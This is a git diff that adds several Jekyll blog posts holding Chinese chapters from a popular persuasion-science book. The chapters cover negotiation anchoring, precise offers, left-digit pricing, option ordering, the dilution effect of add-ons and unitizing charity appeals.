+因此，管理者和团队领导在表明自己很愿意帮忙的时候，一定要避免一个常见的陷阱：不要只是强调开口求助的“实际好处”。他们应该想办法事先缓解人们在求助时的尴尬和不自在。聪明的做法是，管理人员可以提起一段自己开口求助的往事，告诉大家，辛亏当初找人帮忙了，同时也明确的告诉大家，开口求助绝不像想象中那般尴尬。医疗行业的专业人士都希望患者能够不断地向他们寻求帮助和信息，他们可以在提供帮助时加上一个小小的、却令人安心的信号，比如一句“世上没有傻问题”的话，结果就会大为不同。 + +你可能想要把这一章复印下来发给大家看吧，那要做的一个小小的、个性化的举动：把收件人的名字写在纸页端头。这么一个小举动，会为你带来更加显著的收效。 diff --git a/_posts/2017-01-01-169-the-small-big-35.md b/_posts/2017-01-01-169-the-small-big-35.md new file mode 100644 index 0000000..cab0da0 --- /dev/null +++ b/_posts/2017-01-01-169-the-small-big-35.md @@ -0,0 +1,29 @@ +--- +layout: post +title: 35 先下手为强 +pid: 169 +tags: [细节如何轻松影响他人] +--- +有时，谈判刚开始的几分钟有点像是拳击赛的开场：两名对手来回移动着脚步，谁都不愿率先出拳。就像有些拳击选手不愿意先出招一样，谈判的人往往也不愿意先开价。从某种角度来说，这是可以理解的。他们大概是担心先开价会泄露自己的策略，或是暴露弱点。 + +但是，这样想对不对？谈判的时候，或是在任何一个影响他人的场合里，是应该率先迈出战略性的第一步呢，还是应该让对手先出招？ + +根据社会心理学家亚当·加林斯基和托马斯·莫思韦乐的研究，在谈判中，先出招的效果要好得多。 + +在一连串实验中，研究者发现，无论受试者充当的是买家还是卖家，比起遵照指令按兵不动的那些人，遵照指令先出招的往往会赢得更好的谈判结果。例如，在一项实验中，想要收购一家工厂的买方率先开价，结果卖方最终应允的成交价平均在1970万美元上下。当卖家先开价时，买方最终接受的平均成交价是2480万美元。在工资谈判中，研究者也发现了类似的结果。 + +那么，是什么因素令谈判结果呈现出这么大的差异？最主要的原因是，当谈判中的一方先开价时，他们就把对方“锚定”在了这个数字上。因此，尽管对方的理想做法是不能接受这个数字影响，从自己的角度去评估谈判内容的价值，但他们常常做不到。相反，他们会把对手先提出的开价当作“锚点”，在后续的谈判中，一直低效率的围绕这个价格做文章。 + +为什么会这样？想象一下卖旧车的场景。当卖方先开出一个相对较高的价格时，有意向的买家就开始自动自发地思考所有能与这个锚点价格相符的信息。想想看，在这本书中，我们一直在讨论人们是多么积极地想要“高效率地做出正确决策”。听到这个非常高的开价，买家可能会问自己“为什么他要价这么高？”，然后琢磨着是不是应该纠正对方对价值的错误看法。 + +为了回答这个问题，买家不由自主地把心思放在了这辆车所有与这个高价相符的特性上，比如，豪华的外观、稳定性、出色的低油耗。现在我们来假设一下，如果是买家先开价（这个价格肯定会低很多）的话，情况会是什么样。卖家多半会自问“为什么开价这么低？”，然后自动去关注所有的低价因素，例如车身上有多少明显的小凹陷和划痕，行驶里程数已经不少，还有一种“旧车的味道”——现在他希望自己每天早晨在健身房苦练一通之后，应该马上就冲澡，而不是开车到家之后再洗澡了。 + +你先开了价，谈判对手就会自动去想这件商品（无论你们谈判的是什么）有哪些特性与这个开价相符，因此他会去琢磨，比起他的预想，这样东西的真正价值更接近这个最初的开价。所以，无论你的角色是买家还是卖家，是雇主还是想加薪的员工，是经理还是想多申请点儿工作资源的下属，你都应该仔细想想，在你的谈判中，哪个因素可以充当恰当的锚点，然后率先把它提出来，不要等着对手先说。就像加林斯基和慕思韦乐在研究中证明的，这个先出价的小小举动能够对结果造成巨大影响。 + +这个改变虽小，但它能带来很大的回报。当然，你先开的这个价格要符合现实才行，不能超出界限。例如，你要的那辆本田思域（）的价钱定在10万美元，那就有点离谱了，就算他声称它有种独一无二、其他地方没处找的气味儿也不行！但是，只要你的最初开价处于合理范围内，你就应该率先出招，不要让对手先发力。如果没有抢占这个先机的话，开场铃响过没几分钟，你大概就招架不住了。 + +当父母的请注意，跟孩子展开睡前谈判的时候，一定要抢先提条件！ + +当然，我们知道，你不一定每次都能先发制人。如果对手先开价了，你该怎么做？例如，买房子的时候，房价早在谈判之前就标出来了；许多公司一发出录用通知就把起薪数字告诉了新员工。幸运的是，加林斯基和穆思韦乐提出并测试了一个相当简单却好用得让人难以置信的策略，帮你绕开这个心理陷阱：把心思放在你自己的理想价格上。这样一来，你就会自动去思考那些跟对手的锚点不相符的信息了。 + +一个简单的做法是，参加谈判时，不但要在脑子里记着你想要的理想价格，你还应该把它合理的原因列成清单写下来。就算在谈判中也没能让每个人都明白这些理由，单是把它摆在眼前，就足以提醒你去对抗心中自动涌起的质疑，不会去想为什么你最初的判断不准确了。 diff --git a/_posts/2017-01-01-170-the-small-big-36.md b/_posts/2017-01-01-170-the-small-big-36.md new file mode 100644 index 0000000..f3cffa0 --- /dev/null +++ b/_posts/2017-01-01-170-the-small-big-36.md @@ -0,0 +1,27 @@ +--- +layout: post +title: 36 报价精确一点儿会更好 +pid: 170 +tags: [细节如何轻松影响他人] +--- +2013年的夏天，美国阿森纳队（）打算从对手利物浦队（）购入乌拉圭前锋路易斯·苏亚雷斯（），报价四千万零一英镑。与传统的整数报价相比，这个有零有整的精确数字喧起了轩然大波。这个安排是故意的：因为苏亚雷斯的合同中有一条是，如果其他俱乐部提出了超出4000万英镑的报价，俱乐部就有义务通知他。虽然报价非常高，但阿森纳还是没能收购成功。 + +在前一章中，我们讨论了谈判中的率先报价能够形成锚点，影响对手后续的报价和还价。我们能据此得出结论说，阿森纳队的失败原因是因为开价太精确了吗？当然不能。苏亚雷斯转会这件事十分复杂，远不是简单的讨价还价。但是有一个观点是成立的：这个非比寻常的精确开价造成的另一个效果——勾起了全世界的好奇心和关注。支持证据就是这件事闹得沸沸扬扬，一连几周都不曾平息，各家报纸的体育版都大幅报道，还推出了专栏报道（苏亚雷斯一向是个有争议的球员，他的名声无疑也起到了火上浇油的作用）。 + +除了报纸的体育版面，我们还可以转向另一个领域去寻找支持证据——精确的开价不但能吸引人的注意力，还能在谈判中具备强大的影响力。当然，这个领域就是说服科学。 + +行为科学家玛丽亚·梅森和同事艾丽斯·李（）、伊丽莎白·威利（）和丹妮儿·埃姆斯认为，要想取得更好的谈判结果，除了率先开价值外，还应该把价格定成一个精确的数字。在一项研究中，当受试者参与了模拟的二手车销售谈判，他们扮演卖家，看到了三种潜在客户的报价。一个报价是整数，2000美元，另外两个是精确的数字：1865美元和2135美元。看到买家的开价之后，受试者要提出还价。有趣的是，看到精确报价的两组受试者，还价幅度要温和得多：平均比开价高出10%～15%。可是，拿到2000美元报价的那一组的平均还价要比开价高出23%。鉴于这个结果，“给出精确开价”这么一个小小的额外举动，似乎拉近了谈判双方的距离。为什么？ + +研究者认为，接到精确报价的一方，更加容易认为报价方毕竟花了时间和心思来准备谈判，所以他们必定有充足的理由来支持这个精确数字。研究者做的后续实验支持这个观点：谈判过后，他们收集了受试者的看法，发现受试者们比较同意这样的观点，“那个年轻人投入了不少精力去了解这辆车的价值”以及“他肯定是有充足的理由才开出这个价码的。” + +还值得注意的是，研究者发现，无论这个精确报价是比2000美元的整数报价高还是低，这种效应都存在。这样一来，我们就能总结出一个有趣的经验：当你想要卖掉那辆气味独特的本田思域时，你应该率先开出一个接近上限的整数，但十分精确的数字，比如不要提4000美金，而是3935美金，这样你的价格能卖得更高一点儿。当然，如果你是买车的，面对那个开价开得异常精确的卖主，你可要格外当心。 + +这种精确的开价策略不只适用于二手车交易这样的一次性买卖。研究者们在许多不同类型的谈判中都发现了相似的结果。例如，在第二组实验中，研究人员把经验丰富的管理者和MBA两两分成130个小组，进行模拟谈判。与先前的研究结果一致的是，比起先提出整数报价的人，先提出精确开价的人得到的还将更接近于报价，接近程度比前者高比前者的高出24%。而且在每一组中，先开价造成的锚定效果都一直持续到了谈判结束。 + +正如我们在前面一章中建议的，为了得到更好的谈判结果，你可以做的一个小改变是率先开价。这项研究又给了我们一个启发，另一个重要的、能显著提升谈判结果的小改变就是，把这个开价的数字改得精确点儿。 + +因此如果你要与潜在客户谈判，当你把所有信息、设备、材料和资源都研究了一遍，做出一份极为详细的提案之后，千万别搬起石头砸自己的脚——不要把报价数字是四舍五入变成整数，不要以为这样做会让准客户更容易答应你。相反，需在谈判中早早地把精确数字提出来。 + +谈加薪和福利待遇的时候，你也可以使用类似的方法。虽然10%的加薪幅度更简单明了，但你应该向老板提出9.8％，或者10.2%，这样一来，对方不同意的可能性就会小一些。当然了，你应该事先想好为什么要求这个数字——或许你这个职位的平均加薪幅度就是这么多。同样，如果一个保姆希望拿到每小时15美元的薪水，那她应该向孩子父母开价15.85美元，而不是16美元。 + +在项目管理中，当你去求大家按时完成任务时，这种方法也很有用。这项研究建议你，与其让大家两周内完成工作，还不如要求13天内完成，这样更容易准时收工。同样，不要说下班前或本周内完成某项任务，应该把时间改的更精确点儿，比如，“周四下午3:47把它交给我好吗？”这个小小的改变不但能让大家更准时地响应你的要求，还能帮你更高效地管理电子邮件，好让你周末腾出空来，看那些天价球员在场上炫技呢。 diff --git a/_posts/2017-01-01-171-the-small-big-37.md b/_posts/2017-01-01-171-the-small-big-37.md new file mode 100644 index 0000000..10dfc57 --- /dev/null +++ b/_posts/2017-01-01-171-the-small-big-37.md @@ -0,0 +1,51 @@ +--- +layout: post +title: 37 定价末尾数字有玄机 +pid: 171 +tags: [细节如何轻松影响他人] +--- +近期对美国一家大型超市的价格分析透露出一个有趣的事实：店内大约80%的商品定价都是以9结尾的。不是只有一家商店这样做，甚至也不是某个特定的连锁超市在这样做。绝大多数零售商都会采取这个策略。而且，把商品价格定为奇数数字结尾，也不是美国市场的专利。德国、英国和新西兰也都采取了类似的定价策略。 + +那么，这个奇怪的“奇数尾数定价法”是怎么来的呢？有一个可能的原因要追溯到1891年，美国货币标准化的时候。当时，从英国进口的商品都要经过价格转换的，英镑换成美元之后，价格的尾数都是奇数。在人们的印象中，英国货总是质量更好，因此价格尾数是奇数的商品就跟“优质”挂上了钩。另一个经常引用的解释是，尾数是奇数的定价方式能够有效的防止员工偷窃。由于价格是奇数，所以员工必须给顾客找零钱，因此，私藏货款、不计入销售账目的事就变得更难操作了。记录显示，当梅西百货在20世纪初采用了99美分定价策略后，销售增长了，随后全世界零售商们都学会了这一招。 + +鉴于99美分的定价策略是如此盛行，有一件事就显得很有意思了：有一家著名的零售商决定打破这个定价方式。2011年，曾在苹果电脑（）担任资深副总裁的罗恩·约翰逊（）加入杰西潘尼（），出任CEO。不久之后，他的各家连锁分店内推行了一个“天天低价”的定价政策。这个定价活动的核心就是把价签上的数字改成整数，而不是消费者更熟悉的0.99结尾。例如，原本标价为18.99美元或19.99美元的一条牛仔短裤，现在的售价是19美元或20美元。背后的理由很简单：整数式的价格更清楚明白，而且传达出简单和坦诚的信息。虽然对分币的流通有点儿影响，但杰西潘尼在定价策略上的这个小改变肯定是常识的胜利。而且更加重要的是，杰西潘尼认为，这也是消费者的胜利呀，他们肯定愿意用钱包投票的。 + +消费者的确用钱包投了票。次年，杰西潘尼的销售额几乎下滑了30%。 + +由于当时的美国经济依然处于恢复的早期，说得好听点儿，也得用“脆弱”二字形容，要说杰西潘尼把定价取整的策略是销售下滑的唯一原因，那就有点儿太慌妙了。导致销售额猛跌的，很可能是诸多因素的综合作用。但有力的证据表明，杰西潘尼的“天天低价”策略没帮上忙。这个策略显然也没能帮上约翰逊先生，因为没多过多久他这个CEO就被炒了。 + +乍一看，把消费者的注意力从一个精确的价格尾数（例如0.99美元）转移到整数（例如1.00美元），对这个购买决定的影响大概只有一丁点儿。毕竟差异只有区区一美分而已。虽然老话说“积少成多”，但如今一美分也实在太不起眼了，消费者压根不会在意吧［1］。 + +按这种逻辑，杰西潘尼的定价新政应该不会造成多大影响。但是，正如我们在这本书里不断证明的那样，小小的改变会造成巨大的影响——即便是价签上的区区一美分。 + +可是，为什么会这样？ + +一个原因是，0.99的价格尾数意味着“合算”。夏洛特·加斯顿—布雷顿（）和诺拉·杜凯（）认为，这一点对年纪较轻的消费者，或是在购买决定比较容易做的情况下（比如买便宜东西的时候）格外适用。另外一些研究发现，以0.99结尾的价格会产生“降档效益”。也就是说，一件标价19.99美元的商品会被归到“不到20元”的那一档去，但是，如果定价多了一分钱的话，他就会被人归到“20块及以上”那一档去，形成微妙却很重要的对比。 + +除了会影响商品的价格档次之外，一分钱的价格之差还意味着另一个重要问题：价格的头一个数字不一样了。在前面的例子中，19.99美元的东西不但会被归到“不到20元钱”的那一类去，价格的头一个数字，也就是最左边那个数字从2变成了1。原来，这个“左位数效应”之所以重要，主要是因为人们一般会最先注意到它。 + +研究人员肯尼思·曼林（）和戴维·斯普罗特（）提出了强有力的证据，他们证明，如果把尾数做一个小小的改变，让它影响到价格的左位数，就能对人们的购买决定造成极大影响。在曼林和斯普罗特的研究中，受试者需要从摆在眼前的两只钢笔选一支买下。A笔的价格稍低，B笔的价格由于多了几个功能，所以价格稍高。受试者需要对两支笔作出评估，然后做出购买决定。研究人员一共安排了四组不同的价格： + +第一组：A笔（$2.00）、B笔（$2.99） +第二组：A笔（$2.00）、B笔（$3.00） +第三组：A笔（$1.99）、B笔（$2.99） +第四组：A笔（$1.99）、B笔（$3.00） + + +虽然前三组的价格差异都非常小（第一组和第二组的B笔价格差异其实只有1美分），但对购买选择的影响却非常大，在第一组中，选择A笔的人占56%，但第二组和第三组中，选择A笔的人分别占到了69%和70%。 + +为何会有这么大的差异？请注意，第一组中，A笔（$2.00）和B笔（$2.99）的价格左边数是一样的。但在第二组和第三组中，左边数字不一样了，导致A笔看上去比B笔便宜许多。 + +现在，我们来看看第四组。由于一个小小的改变，两支笔的左位数相差了2美元——原来——A笔（$1.99），B笔（$3.00）。结果是，在这一组中，A笔最受欢迎，将近82%的受试者选择了它，对左边位数做一个小小的改动，就能对购买选择造成很大的影响，这个实验就是明证。 + +我们敢说，罗恩·约翰逊现在肯定很希望推行“天天低价”的整数价格策略前，他和杰西潘尼团队的其他成员能懂点儿说服科学。这项研究表明，把商品的价格调高1美分，比如把8.99美元的一双袜子调到9美元一双，给人的感觉就像提高了1美元一样。这是因为消费者太关注最左边的数字了。 + +把范围放得更广些，想要影响他人的选择和决定的人可以从这项研究中获得更各种启示。最显著的就是，零售物业中负责决定价格的人可以从这个知识中获益：价格上一个小小的改动只不过提高或降低一美分——就能大幅度地影响消费者对这件东西的售价的印象，进而影响他们在他们的购买决定。例如，销售价格较低但利润较高的产品（比如自有品牌的）商家，就可以把定价的末尾数字做个小改动，让这个价格左位数低于其他贵价商品，这样价格的感觉上就会差很多了，从而提升公司的利润。当然如果情况刚好相反，目标让人们更多地选择较贵的那一个，那么就把做法反过来。请注意，在那个买笔的实验中，当两支笔的价格左位数一样的时候，更多人选择了较贵的那一支。 + +只比整数小一丁点儿的数字对其他决策往往也有奇妙的影响力，除了上述方法之外，还有一些没这么明显的运用方法：健身教练如果把跑步机的目标里程定在9.9公里，而不是取整的10公里，前来健身的学员恐怕就会更听话了。医生如果把患者的计步器的目标改的稍低一点儿，比如9563步，而不是通常的10000步，患者就可能更容易坚持下来。在这些情境中，这些目标看上去更容易实现了，所以学员或患者就有更大的动力去做。 + +最后，对会议的时长和议程做些小小的改动，或许会让人们更愿意来参加，把2个小时的研讨会改成1小时55分钟，虽然有点投机的味道，但或许前来参加的人就能多几个。 + +或许你在说服别人参加会议时，就可以用上这个基本说服科学的、虽小却很重要的新方法。但是，你打算跟苹果、微软（）或谷歌（）联系，建议他们把电子日历的默认设置改掉，别忘了我们已经为“29分钟会议”申请了专利。 + +［1］在绝大多数货币中，一分钱基本上是最小单位了。因此，另一句老话“捡起一分钱，好运一整天”不禁让人怀疑，要是看见街上有一分钱，究竟值不值得花那个功夫把它捡起来呢。原来，经济学家已经研究过这个问题了，答案很明显：不值得。此外，也没有证据表明发现一分钱会给人带来好运，不过，鉴于这事不容易用实验证明，您就自己做决定吧，别理科学家们怎么说。 diff --git a/_posts/2017-01-01-172-the-small-big-38.md b/_posts/2017-01-01-172-the-small-big-38.md new file mode 100644 index 0000000..dba0d83 --- /dev/null +++ b/_posts/2017-01-01-172-the-small-big-38.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 38 顺序改一改，生意滚滚来 +pid: 172 +tags: [细节如何轻松影响他人] +--- +20世纪70年代中期，意大利商人、餐馆老板安东尼奥·卡鲁奇奥（）离开意大利北部的家乡，搬到了英国。在英国，他先是做葡萄酒商，随后与特伦斯·康兰（）的著名餐厅集团合作，开办了他的第一家食品店。今天，欧洲和中东地区已经有70多家卡卢奇奥咖啡店，售卖各种地道的意大利美食，包括意面、沙拉、冰淇淋……还有小型摩托车！ + +是的，你没看错。在每一份卡卢奇奥的菜单上，显眼的位置都印着一辆伟士牌（）小型摩托车，食客是可以点单的——在思考晚餐打算吃什么菜色的时候，也可以想想买一辆什么颜色的小摩托车。 + +我们不太清楚有多少人会想要在餐馆里买一辆小型摩托车。我们也不确定卡卢奇奥的咖啡馆里究竟卖出了多少辆小伟士。但是，身为说服科学家，我们十分确定的是，菜单上一个定价昂贵的物品（一辆伟士牌摩托车售价大约是3500美元）会让跟在后头的菜价显得便宜许多。卡鲁奇奥或许没在咖啡店里卖掉几辆小摩托车，但把它放到菜单上的这么一个小小的举动，可能帮他卖掉了不少高档的帕尼尼三明治。简单的说，把摩托车印到菜单上，会让他的三明治显得价廉物美。 + +人们的决定不是在真空环境中做的。换言之，我们的决定总是会受到情境的影响——无论是我们正在考虑的替代选择，还是做决策时的环境，或者只不过是我们在做决定之前的念头。因此，选项出现的顺序真的很重要。心理学中有一个基本概念，叫作“知觉对比”现象。意思是，不必改变物品本身，只需改变人在看到这个物品之前的体验，就能改变此人对这件东西的印象。如果酒单以15美元一瓶的餐厅选特选酒开头，那么酒单中部35美元一瓶的红酒就显得挺贵的。可是，如果把酒当作一个小小的改动，把一支更贵的红酒，比如说60美元一瓶吧，列在头一个，那么同是这瓶35美元的酒，价格看起来就合理的多。酒一点儿也没有变，改变的只是它们在酒单上的顺序。 + +因此，当你做提案的时候，有一个人人都能做到的小改变可以帮你提高成功概率：仔细想想，你的目标受众在做决定时，会拿这份提案与谁做比较。 + +有趣的是，即便与之做比较的是一个肯定会遭到拒绝的提议，这个方法照样管用。例如，一位管理咨询顾问正在给客户做方案。他想到了好几个备选方案，经过一番筛选，他挑中了一个最好的，其他几个成本过高或太花时间的方案都被扔进了垃圾桶。此时，他们会集中全部精力去准备这个你最理想的方案。但是，基于我们对说服过程的了解，尤其是“知觉对比”的现象，这样做是错的。 + +相反，这位顾问应当把打算扔掉的那几个方案先提出来，说简短点儿就行。这个小改变会产生很大的收效，因为那个最佳方案现在处于很理想的位置，比如，先说一个可能会让客户觉得成本太高，或是太花时间的方案，等到你介绍这个最佳方案时，想要的效果就出来了——对比之下，这份方案会显得恰到好处，不多不少刚刚好。 + +但是，如果你的提案或建议属于多合一的“套餐”性质呢？比如说，一家影院推出了99美元看15场电影的套票，一名律师收费标准是10小时共收2500美元，一家网上音乐商店的打包价是29.99美元可下载70首歌。这两个数字出现顺序会不会影响用户的购买决定？换句话说，以网上音乐商店为例，是应该说70首歌收29.99美元呢，还是说29.99美元可以下70首歌？哪种说法更能让消费者心动？ + +为了找出这个问题的答案，研究人员拉吉许·巴格奇（）与德里克·戴维斯（）进行了一系列实验。这一项研究中，受试者需要评估一家点播电视台的服务方案。一组受试者看到的方案是价格在前，产品数量在后，比如300美元可看600小时的节目。另一种看到的方案是产品数量在前，价格在后，即600小时的节目收费300美元。另外几组看到的数字与这两组不同，但价格其实是一样的，比如60小时的节目收费30美元、285.90美元可看580小时的节目以及580小时的节目收费285.90美元。 + +分析结果显示，当方案中的数字很容易计算的时候（比如头两组看到的那种），价格和产品数量孰先孰后的差别不大。但是，当数字不容易算的时候，情况就变了，人们更喜欢产品数量在前，价格在后的顺序。如果产品数量较大，就更是如此。例如，人们更喜欢“580小时的节目收费285.90美元”，而不是“285.90美元可看580小时”——虽然这两种表述的意思一模一样。 + +为什么？看起来，当选项变得越来越复杂的时候，我们的注意力就会集中在最先出现的信息上，无论它是产品数量、价格、时间长短，还是其他任何一种衡量单位。在这个例子中，人们的反应之所以更加积极，是因为受益在前，成本在后。选择越是难以算清，这种效应就越明显，最终导致人们对完全相同的单价产生了截然不同的印象和偏好。 + +对每一位身在商界的人来说，这都是一个实用的经验。比如，你正在为某个客户做提案，在一段时间内提供一组咨询服务。你的提案颇为复杂：提供服务的人数众多，各类服务的收费标准不一样，时间期限不同，地点也不同。在这种情况下，上述研究（以及其他类似研究）建议你做一个微小却重要的调整，先说你的服务项目，然后再说价格。 + +可是，如果你的提案比较容易计算，或是提供的服务项目数量较少，这该怎么办呢？虽然研究显示，在这些情况下，顺序效应可能没那么明显，但先说服务项目依然是很必要的。考虑到它对后续影响的强有力的帮助，换个说法——先说服务再说报价——的成本是很小的。 + +即便你销售的不是产品或服务，而是你自己，顺序效应也适用。例如，研究建议，写简历的时候不要先强调你有多少年的工作经验，然后再说你那在那段时间里取得的成绩，更好的方法是把顺序反过来：先把你取得的成绩全部列出来，然后再说工作年数（例如：我在那个岗位上完成了23个重大项目，工作时间2.5年）。同样的，应届毕业生如果想让未来的雇主更加关注自己的学业成绩，那么求职信的写法应该是“我在校期间修完了37门课，学习时间3.5年”，而不是反过来说。我们没有说，单凭这个小小的调整，你就能当上“首席XX官”，但是，鉴于这个方法毫无成本，所以这又是一个“四两拨千斤”的好方法，他会帮你在拥挤的市场中脱颖而出。 diff --git a/_posts/2017-01-01-173-the-small-big-39.md b/_posts/2017-01-01-173-the-small-big-39.md new file mode 100644 index 0000000..776c4ae --- /dev/null +++ b/_posts/2017-01-01-173-the-small-big-39.md @@ -0,0 +1,47 @@ +--- +layout: post +title: 39 如何事半功倍 +pid: 173 +tags: [细节如何轻松影响他人] +--- +无论你想提高生活中的说服你，还是工作中的影响力，这本书都是适用的。它的目标就是，凭借科学的依据，让你看到，他平素使用的方法做一个小小的调整，就能大幅度的提高你的说服力和影响力。 + +例如，假设你管理着一家小公司，你发觉市场上的竞争对手越来越多，大家都在竞相吸引客户的注意力。那么在这么一个高度竞争的环境下，比对手多做一点儿，让客户从你这儿获得更多好处，显然是个合理的做法。多加一点儿激励手段，或者给产品添加一个功能，应该算是“四两拨千斤”的好办法，他会帮你赢得客户，而不是输掉竞争。 + +但是，有没有这种情况：你提供了更多的信息，增加了激励手段或附加功能，可这些手段不但没有增强你的说服力，反而削弱它？ + +或者换句话说，有没有过犹不及的时候？ + +行为科学家金柏莉·韦弗（）、史蒂芬·加西亚和罗伯特·施瓦茨（）认为，人们之所以愿意相信增添额外功能和信息能够增强他们的说服力，是因为增加的项目能产生“附加效应”。然而，这些科学家也认为，对收到提案的一方来说，这些额外的东西并不具备吸引力——因为在他们看来，这些东西带来的并不是“附加效应”，而是“拉低效应”。就像往开水里加温水反而降低水温一样，有时候，向一个已经很有说服力的提案添加额外的好处，非但不会帮你敲定订单，反而还会降低这份提案的整体吸引力。 + +为了验证这个观点，研究者设计了一系列实验。一项实验中，受试者要么充当卖家，要么充当买家。卖家拿到了两个mp3播放器的销售方案，第一个方案是，一个iPod Touch加一个可选外壳。第二个方案跟第一个一样，但是多了一份免费下载音乐的优惠。卖家需要做个选择：他们认为哪个方案更有价值？换句话说，他们想向现在客户推销哪一个方案。买家的任务是，假设他们要为朋友买个mp3当礼物，面对这两个iPod购买方案，他们愿意各付多少钱。 + +绝大多数（92%）卖家选择了包含免费下载优惠的那一个。但有趣的是，买家组愿意为这个方案付的钱，反而比没有优惠的那个方案少。这个结果违背了人们的直觉：在许多买家眼中，为了提高产品价值而付送免费下载的举动，反而降低了产品的价值。 + +在另一项实验中，受试者在一家著名的旅游网站上选择下塌的酒店。他们需要回答的是，如果住在某家五星级酒店的话，他们平均每人平均愿意多花多少钱。当这些消费者的得知，这家酒店附近还设有一个三星级的餐厅时，他们愿意付钱数下降了大约15%。有趣的是，另一组扮演酒店管理者的受试者中，几乎3/4的人都错误的认为，把这家餐厅的消费信息加到广告上去，顾客会愿意多花钱，但事实上刚好相反［1］。 + +经过一系列实验，研究者发现了一致的模式。卖家深信，花更多的钱，往已经很有说服力的产品中添加更多的功能，提案就会变得更有说服力。可实际上，每一次增加功能都降低了总体的价值感，导致客户只愿意付更少的钱。 + +看到这里，有些读者可能会想，对于像iPod和酒店房间这样的产品和服务，这个道理蛮适合的，可它能延伸到其他类型的影响力问题中去吗？例如，如果你面临的问题是推销一个想法，而不是实体产品呢？ + +研究者认为，这个道理依然适用。 + +假设你在当地的市政府里工作，职责是减少街道上乱丢垃圾的现象。你提出两个惩罚提案。你觉得你更推荐下面哪一个？ + +提案一：向乱扔垃圾的人处以750美元的罚款； + +提案二：向乱扔垃圾的人处以750美元的罚款，外加两小时的社区服务。 + +研究者拿着这个问题，去问了许多政府工作人员的意见，他们发现，86%的人都推荐了提案二，而另外一组采访者却认为750美元的罚款外加两小时的社区服务反而比单纯的750美元罚款更轻！在这个例子中，向一个已经没什么吸引力的后果中添加一个负面因素，反而让他变得稍稍吸引人的一点儿。 + +那么，为什么卖家和买家的看法会有差异？ + +韦佛和她的同事们总结道，在构思一个有说服你的提案时，卖家倾向于把提案中的元素作为独立因素看待，因此，他们考虑的是这些元素的累加效应。而买家在评估提案的时候，更容易从整体上看待它，关注的是总体价值。 + +那么，我们是要建议你，在做提案的时候千万不要提供额外的信息或产品功能吗？当然不是。 + +我们的建议是，对于这两种方法各取所长。不必投入额外的资源去为每一位顾客都增加一点儿不起眼的附加价值，而是做个小小的改变：用同样多的资源为少数特选客户增加一些更诱人的价值。这样做有两个好处。 + +第一，你不必把资源浪费在增加没有吸引力的额外优惠上，这就好比往热水里加温水一样，只会降低整体的温度。第二，通过为最重视的客户提供量身订做的、诱人的额外优惠，你触发了互惠原则。 + +［1］虽然研究者没有作出明确测试，但是，如果这家餐馆达到五星级的话，消费者可能会愿意多付钱，因为平均水准保持不变。 diff --git a/_posts/2017-01-01-174-the-small-big-40.md b/_posts/2017-01-01-174-the-small-big-40.md new file mode 100644 index 0000000..8f93b9c --- /dev/null +++ b/_posts/2017-01-01-174-the-small-big-40.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 40 化整为零 +pid: 174 +tags: [细节如何轻松影响他人] +--- +假设你正要出差。在飞机上你有几个小时的时间可以看书，所以你到附近的书店里去逛一逛，看看有什么有趣的好书。正当你在商业畅销书的架子前浏览的时候，你发现了一本看起来很有意思的书，说的是“50多种提升影响力的方法，让你成为更高效的沟通者”。你这趟出差的目的就是去见一位新客户，你知道这里面需要不少的说服工作，所以你觉得这50多种说服策略应该会很有帮助，你打算买一本。 + +在收银台前，你发现这本书的价签没有了，而且店主说书店里的电脑也坏掉了，你觉得这本书值多少钱，就给多少钱吧。如果你先想的是“我愿意为1个说服策略付多少钱”，那么，你会为这本书包含了52个说服策略的书付更多的钱吗？ + +行为科学家们认为这个问题的答案是肯定的。有趣的事，你当你想说服对方答应一个较大的请求时，让他们先想想这个请求中单个的、较小的个体，这个看似微不足道的举动会对结果产生巨大的影响。这个“四两拨千斤”的策略叫做“化整为零法”，除了用来确定你愿意花多少钱买一本书（且不论这本书有多么伟大）之外，它还有着广泛的用途。 + +咱们来看一个慈善募捐的例子，看他们是如何运用这个“四两拨千斤”的策略来筹到更多善款的。筹款人面临的一个普遍问题就是，捐助者们往往意识不到需要帮助的人有多少。因此，无论需要帮助的人是一个人，一百个人，甚至是成千上万人，他们捐出的钱数都差不多。研究者奚恺元（）、张郊（）、佐伊·卢（）和徐飞（）认为，在募集善款的时候，如果先请捐助人想一想，要是求助一个人他们愿意捐多少钱，那大家最后捐助的钱数应该会更多。 + +奚恺元和同事们在一家有800名员工的中国中型企业里做了一个实验。员工们收到了老板发来的倡议信，号召大家参与一个募捐活动，帮助40名来自低收入家庭的学生。愿意参加的员工需要在收到信的一周之内登录一个专门为筹款而设计的网站，把钱汇过会出去。有320员工响应的倡议并登陆了网站。然而，他们不知道的是，一半人登陆到了标准版的页面上，另一半则被引导到一个“化整为零”版网页上。 + +进入标准版网页的员工看到的是：“请想一想这40名学生。为了帮助这40名学生，你愿意捐多少钱？请把你的捐款数额填写在这里：___元。” + +输入捐款金额后，员工们有一个选择：修改捐款金额，或是提交。 + +除了一个重要差异之外，“化整为零版”网页跟标准版的模样完全相同，员工们被问到愿意为40名学生捐多少钱之前，需要先假设一下，如果只帮助一个学生，他们愿意捐多少。 + +“化整为零版”网页的具体措辞是这样的：“在决定要‘帮助40名学生该捐多少’之前，请先假设一下，假如你只帮助一个学生，你会捐多少？请把你的捐款数额填写在这里___元。” + +捐款人填写的金额之后，网站会问，如果要帮助全部40名学生，他们会捐多少。 + +这个“化整为零”的简单方法显著提升的捐款金额。进入标准版网页的捐助者平均捐出了315元人民币（折合50美元），而进入化整为零版网页的捐助者平均捐出了600元（折合95美元还多）。此处把捐款数额提高了90%的“四两拨千斤”的做法，就是先提出一个“化整为零”的问题。 + +到目前为止，一切都很合理。可是，这个方法会不会有缺点？比如说，提出化整为零式的问题之后，由于一些人不愿意回答这种奇怪的问题，所以中途离开了网站。捐款人数会不会因此降低？研究者们考虑到了这个可能性，观察结果是，多出来的这个问题对登录网站捐款人数没有显著影响。 + +对于筹款人来说，这里面的启示相当清楚。发起倡议活动时，人们很容易强调需要救助的人群有多么庞大，借此让捐助者明白问题的严重性。其实，这么做反而会降低大家的平均捐款数额，而不是提升它。你应该先把捐款人的注意力引导到“如果救助一个人，你愿意捐多少”的问题上，然后再呼吁请大家帮助更大的群体。 + 